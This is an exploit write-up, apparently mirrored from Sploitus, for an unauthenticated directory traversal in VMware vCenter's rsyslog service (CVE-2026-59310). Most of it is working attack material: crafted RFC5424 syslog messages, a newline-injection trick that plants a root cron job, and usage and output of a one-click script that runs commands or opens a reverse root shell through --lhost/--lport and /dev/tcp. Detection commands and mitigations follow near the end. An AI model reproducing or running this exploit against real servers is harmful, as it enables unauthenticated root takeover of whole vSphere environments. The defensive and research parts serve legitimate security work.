Skip to content
Exploit for Path Traversal in Vmware Vcenter_Server

Exploit for Path Traversal in Vmware Vcenter_Server

Sploitus • September 25, 2026

# CVE-2026-59310 – VMware vCenter Syslog Directory Traversal Leading to Unauthorized RCE

> **Disclaimer**: This project is used solely for **authorized** security testing, vulnerability verification, and defense research. Please use it in an environment with explicit written authorization. Users must bear all consequences of misuse. ---

- **Vulnerability Name**: VMware vCenter Syslog Directory Traversal Vulnerability

- **Vulnerability Number**: **CVE-2026-59310**

- **Vulnerability Type**: Directory Traversal → Arbitrary File Writing → Remote Code Execution

- **Exploitation Prerequisite**: **Only access to the syslog port (default UDP/TCP 514) is required; no credentials are needed**

- **Exploitation Consequences**: Writing arbitrary code at **root** permissions

- **Off-the-beat Exploitation**: Discovered

vCenter’s built-in syslog receiving service (rsyslog) uses a **dynamic path template** to store logs. The template directly appends the `APP-NAME` and `HOSTNAME` fields to the file path without any path filtering. An attacker can send specially crafted messages to the accessible syslog port, allowing arbitrary files to be written outside the intended log directory. This can then be combined with scheduled tasks to execute arbitrary code. vCenter is a central management hub; once compromised, it equates to the failure of the entire vSphere/VCF environment.

**Affected Versions (Below These Fix Versions)**

| Branch | Affected Scope | Fix Version |

| 9.1 | **Verified Environment**: VMware vCenter Server **9.0.2.0 / Build 25148086**,

> Earlier than the fix version 25629525, remains unpatched. ---

### 1. Direct insertion of non-trustworthy fields into the dynamic path template

`/etc/rsyslog.conf` (default configuration for VMware):

29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"

33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"

35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

`%app-name%` is used both as a directory name and a file name, without any path filtering. ### 2. The selector is too loose

63::app-name, startswith, "rsyslog"?rsyslogadminLoc;rsyslogadminFmt

Only **prefix matching** is required. An attacker can use `rsyslog/...` to match the rule and enter the dynamic path template. ### 3. Line breaks pass through (key to RCE)

24: $EscapeControlCharactersOnReceive off

Line breaks in the message content are preserved, allowing the attacker to control the **line structure** of the written file. ### 4. Core bypass: Differences in parser behavior between RFC3164 and RFC5424

This is the most easily overlooked area for vulnerabilities. - **RFC3164 (pmrfc3164)**: Character whitelists are used to parse hostnames; `/` is not allowed by default, causing `APP-NAME` to be truncated at `/`, resulting in **infeasible traversal**. - **RFC5424 (pmrfc5424)**: `APP-NAME` is treated as separate, space-separated fields, **without character whitelisting checks**,

`/` and `..` are retained unchanged → **traversal is possible**. The server `input(type="imudp" port="514")` uses the default ruleset **and accepts RFC5424 messages**. An attacker can simply send messages in RFC5424 format to traverse the characters directly to the file path. Actual comparison (same payload `rsyslog/../../../../tmp/x`):

| pmrfc3164 | `rsyslog` → Truncated at `/` |

| pmrfc5424 | `rsyslog/../../../../tmp/x` → Fully retained |

> Additional evidence: A pure `..` would be created as a **literally directory name** (e.g., `rsyslog..`), indicating that rsyslog’s

> omfile layer does not normalize `..`; what truly matters is whether the **parser can include `/` in the field**. ---

① Unauthenticated UDP packets → ② RFC5424 APP-NAME carries traversal → ③ Write arbitrary data outside the log directory (root)

### Steps ①②③: Unauthenticated arbitrary file writing (root)

1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED

File = Same + "-syslog.log" → /tmp/PWNED-syslog.log

Result: Written as **root** with `/tmp/PWNED-syslog.log`. The parent directory is automatically created upon creation, allowing for fully controlled content.

The filename for writing is fixed to end with `-syslog.log`, and it cannot directly overwrite `/etc/cron.d/xxx`. However, using line break penetration, controllable content can be injected into the MSG, **allowing controlled content to start from the 0th column of the file**:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← Cron reports "bad minute", ignored

* * * * * root /bin/sh -c'{id;}' > /tmp/out.txt 2>&1 ← Executed as a legitimate cron entry

The `crond` executes with root privileges, and the following results are obtained:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

- **VAMI Static Resource Directory**: The file is written to `/opt/vmware/ /htdocs/` (where lighttpd listens on 5480), and can be read via ` consistent with the vendor announcement. - `/var/spool/cron/root`: The file can be written to this directory, but a file with the name `root` is required. This is limited by the `-syslog.log` suffix, so `/etc/cron.d/` is more direct.

## Environment and Reproducibility Verification

| Target | VMware vCenter Server 9.0.2.0, Build **25148086** |

| Fix Version | 9.0.2.0100, Build 25629525 |

| rsyslog | 8.2306.0-4.ph5 (VMware custom package) |

| Syslog Port | UDP/TCP **514**, TCP 1514 (TLS) |

| Authentication Requirement | **None** |

**Writing to Any File (No Authentication)**

$ python3 exploit_cve_2026_59310.py --check

[i] API Namespace Version: 9.0.0.0 (Non-appliance build, for fingerprinting only)

[*] APP-NAME: rsyslog/../../../../../tmp/cve59310_check_

[+] Sent. Expected a file with root ownership to be created on the target.

-rw-r----- 1 root root 102 /tmp/cve59310_check_-syslog.log

$ python3 exploit_cve_2026_59310.py -c "id;hostname"

[+] Installed: /etc/cron.d/cve59310-syslog.log

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

$ python3 exploit_cve_2026_59310.py --lhost --lport 4444

[+] Installed: /etc/cron.d/cve59310-syslog.log

[+] Connection successful, from:56184 —— Root shell established

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

> Replace the target IP and rebooter address with your own authorized testing environment. ---

- Python **3.8+** (Standard library only, no need for third-party packages)

- Network-accessible syslog port (default: UDP/514)

### One-Click Exploitation Script `exploit_cve_2026_59310.py`

# 1) Interactive root reboot shell (most commonly used)

python3 exploit_cve_2026_59310.py --lhost --lport 4444

# 2) Execute a single command, with output written to `/tmp/.txt`

python3 exploit_cve_2026_59310.py -c "id;hostname"

# 3) Non-destructive verification: Only proving that any file can be written without authentication

python3 exploit_cve_2026_59310.py --check

python3 exploit_cve_2026_59310.py --cleanup

| `--port` | Syslog port, default `514` |

| `--lhost` / `--lport` | Reboot shell connection address / port |

| `--method {bash,python}` | Reboot method, default `bash` (`/dev/tcp`) |

| `--name` | Unique identifier for each execution, random by default |

| `--timeout` | Wait time for execution/reconnection, default `180` |

python3 poc_vcenter_rce.py --check # Verify arbitrary writing

python3 poc_vcenter_rce.py --rce "id" --name t # Execute a command

python3 poc_vcenter_rce.py --cleanup # Clean up prompt

### Original Sender `poc_syslog_traversal.py`

This can independently control `HOSTNAME` / `APP-NAME`, used for manually constructing messages:

--tag 'rsyslog/../../../../tmp/test' --msg 'hello'

This vulnerability **only provides write primitives**, and scripts cannot delete remote files on their own. Cleaning up is required on the target system:

rm -f /tmp/cve59310_* /tmp/cve59310_check_*

# Check the version in the vCenter Shell (Build /dev/null)

# 2) for suspicious *-syslog.log files outside of log directories (full scan, most effective)

find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) Exceptional directories created by scanning (Note directories containing characters like.. or %)

ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) Contents written to VAMI static directories

# 5) Abnormal hostname in syslog logs (Containing / or.. in APP-NAME)

grep -nE '(\.\./|/)' /var/log/vmware/messages | head

> Note: Full scan is the most reliable method for detection. If the template scans a non-existent path,

> rsyslog will **automatically create** parent directories. Therefore, abnormal directories like `/..etc/` or `/rsyslog../` are clear signs of intrusion. ---

### First priority: Upgrade to fixed versions

Refer to the **Impact Versions** table for updates. The minimum requirement for branch 9.0 is **9.0.2.0100 (Build 25629525)**. ### Temporary Mitigation (When Upgrade Is Not Immediately Possible)

1. **Disable RFC5424 attack surface** (Most direct method): Explicitly bind the parser `p3164` for inputs 514/1514. ```ruby

input(type="imudp" port="514" ruleset="all" parser="p3164")

2. **Explicit path purification**: Configure `omfile` with `securepath="normal"` and `secpath-drop="replace"`. The upstream rsyslog security advisory (GHSA-xmp9-244p-5ggv) clearly states that **`securepath` is the reliable path boundary**. 3. **Block line break penetration**: Set `$EscapeControlCharactersOnReceive on`. 4. **Refine selectors**: Change `:app-name, startswith, "rsyslog"` to exact matches;

Change host name matching rules based on source IP/IP range to prevent arbitrary external senders from accessing dynamic path templates. 5. **Network isolation**: 514/1514 is only accessible to managed ESXi and authorized log forwarders. Access from non-management networks is prohibited. > ⚠️ Note: Currently, the protection against `%hostname%` paths is only at the **default behavior of the RFC3164 parser**, which is not a reliable security boundary. Once `permit.slashesinhostname` is enabled for compatibility, the same rule becomes exploitable. ---

**Q: Why does the tool report version 9.0.0.0, which doesn’t match the actual build?**

`/sdk/vimServiceVersions.xml` returns the **API namespace version**, not the appliance build number.

It cannot be used to determine whether the vulnerability has been fixed. Please check the actual build number using `cat /etc/vmware-release` in the vCenter Shell. **Q: Why don’t results appear after executing commands?**

crond schedules tasks **every minute**, so it usually takes 60 seconds to wait. Additionally, this vulnerability only affects write primitives; scripts cannot read the files themselves. You need to use `cat /tmp/cve59310_.txt` on the target system. You can also use `--read-cmd` to execute external commands (e.g., `ssh root@target cat {path}`). **Q: Why isn’t the reverse shell connected?**

Common reasons: The target cannot access the attacker’s machine (firewall/NAT/network segmentation); crond hasn’t triggered yet (

Increase `--timeout`). The listening port isn’t allowed. You can use `--method python` to switch back to the state. **Q: Why does `-c "a; b"` only produce partial output?**

Fixed. The script uses `{ cmd; } > file 2>&1` for grouping redirection, ensuring that the entire command sequence’s output is captured (`a; b > file` only redirects the last command). ---

- Manufacturer notice VMSA-2026-0006:

- Technical analysis (Mobeta):

- rsyslog omfile dynaFile reinforcement notice (GHSA-xmp9-244p-5ggv):

- vCenter 9.0.2.0100 release notes:

[source-iocs-preserved url=

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

IP Addresses (1)

Platforms (1)

Tools (1)